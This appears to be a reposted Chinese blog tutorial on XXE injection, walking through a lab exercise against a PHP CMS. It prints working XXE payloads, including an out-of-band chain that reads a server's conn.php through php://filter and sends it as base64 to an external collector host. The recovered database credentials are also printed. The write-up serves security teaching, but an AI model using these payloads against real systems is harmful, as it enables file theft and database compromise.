XXE实体注入原理作用与具体操作

XXE——实体注入

原理XXE=XML External Entity 即外部实体,即外部实体,从安全角度理解成XML External Entity attack XML 外部实体注入攻击

XML是用于标记电子文件使其具有结构性的标记语言,可以用来标记数据,定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。

当XML允许引用外部实体时,通过构造恶意XML文档,根据建站语言使用不同的协议可导致读取任意文件内容、执行系统命令、探测内网端口、访问内网网站等危害。由于站点的建站语言不同,PHP、JAVA、Python等也有不同的解析规则,在实际情况中不能一概而论,但原理是相同的

XML文档结构包括
1.XML声明
2.DTD部分
3.XML部分
在这里插入图片描述有了XML实体,关键字SYSTEM会让XML解析器从URI中读取内容,并允许它在XML文档中被替换。因此,攻击者可以通过实体将他自定义的值发送给应用程序,然后让应用程序去呈现。 简单来说,攻击者强制XML解析器去访问攻击者指定的资源内容(可能是系统上本地文件亦或是远程系统上的文件

XML中对数据的引用称为实体,实体中有一类叫外部实体,用来引入外部资源,有SYSTEMPUBLIC两个关键字,表示实体来自本地计算机还是公共计算机,外部实体的引用可以借助各种协议,不同的语言支持的协议不同,但存在一些通用的协议,具体内容如下所示:

<!ENTITY 实体名称 SYSTEM “URI/URL”>
在这里插入图片描述XML与XXE注入基础知识
https://www.cnblogs.com/backlion/p/9302528.html

php中存在一个叫做simplexml_load_string的函数
这个函数是将XML转化为对象(简单来说就是把xml变成了php代码可以做的事情)

实例:

<?php
$test = '<!DOCTYPE scan [<!ENTITY test SYSTEM "file:///c:/1.txt">]><scan>&test;</scan>';
//记住要定义变量名(test或者什么都可以),记得调用变量,(<scan>或者什么都可以)
$obj = simplexml_load_string($test, 'SimpleXMLElement', LIBXML_NOENT);
print_r($obj);
?>

变量test里面是XML
然后试用simplexml_load_string将其转化为对象,第一个参数是xml语句,SimpleXMLElement是调用了SimpleXMLElement这个类,然后LIBXML_NOENT是替代实体,然后他去执行了file协议去读取我的文件

变量test里面是XML
然后试用simplexml_load_string将其转化为对象,第一个参数是xml语句,SimpleXMLElement是调用了SimpleXMLElement这个类,然后LIBXML_NOENT是替代实体,然后他去执行了file协议去读取我的文件

但是很多时候后端语言解析了XML后其实并不会给你输出,我们可以使用一个类似与接受平台一样的接受器,XML读取数据然后发送到接收的平台,然后接收平台存储,我们再去接收平台查看就可以了。像是反弹注入的感觉~

我们先读取我们想要的文件,然后为了传输方便,我们先来个base64编码(如果不编码,一些#等一些字符转化起来会出现错误),我们可以使用php伪协议读取文件(仅PHP支持)

php://filter/read=convert.base64-encode/resource=c:/1.txt

然后我们再去调用一个外部xml 比如1.xml

(<!ENTITY % remote SYSTEM "http://192.168.19.131/1.xml">)
<!ENTITY % all
"<!ENTITY &#x25(实体编码就是个%); send SYSTEM 'http://120.203.13.75:8123/xxe/2.php?id=%file;'>"
>
%all;

这个1.xml会被加载到原本的xml,然后我们最后来调用,然后你读取出来的文件会用get传参的方式传参给2.php 然后2.php记录下来储存到3.txt中

<?php file_put_contents("3.txt",$_GET["id"],FILE_APPEND);?>

1.xml=>2.php=>3.txt

下面是靶场注入过程

提供xxe炮台。
http://59.63.200.79:8017/1.xml
http://59.63.200.79:8017/2.php
http://59.63.200.79:8017/3.txt
靶场地址
1.首先,我们查看源代码中,存在weixin文件中有一行代码是

simplexml_load_string(),在php中,只有这个函数会造成xxe注入,我们发现在weinxin的文件夹中有这个哈数他接受传参时候,并没经过任何修饰

在这里插入图片描述在这里插入图片描述同时通过目录扫描发现数据库管理界面
同时我们查看cms源码发现,coon.php文件下面有数据库的账号密码
在这里插入图片描述在这里插入图片描述于是我们直接访问这个文件夹,没用被阻拦,我们再次利用burp抓包进行
在这里插入图片描述我们修改成post传参 ?signature=123 随便传参一个值 去满足其中一个分支语句
在下面传参一个xml的文档

<?xml version=1.0?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM “php://filter/read=convert.base64-encode/resource=C:/phpStudy/scms/conn/conn.php”> //输入自己想要去获取的文件夹路径
<!ENTITY % remote SYSTEM “http://59.63.200.79:8014/xxe/1.xml"> //炮台地址
%remote;
%send;
]>

在这里插入图片描述在这里插入图片描述

<?php
 error_reporting(E_ALL ^ E_NOTICE); 
 header("content-type:text/html;charset=utf-8");
 session_start();
 $conn = mysqli_connect("192.168.0.10","xxe", "teiwo!8#7ERe1DPC", "scms");
 mysqli_query($conn,'set names utf8');
 date_default_timezone_set("PRC");
 if (!$conn) {
    
    
 die("数据库耀

在这里插入图片描述数据库登陆成功,找到管理员密码
在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/weixin_43264067/article/details/106073570
今日推荐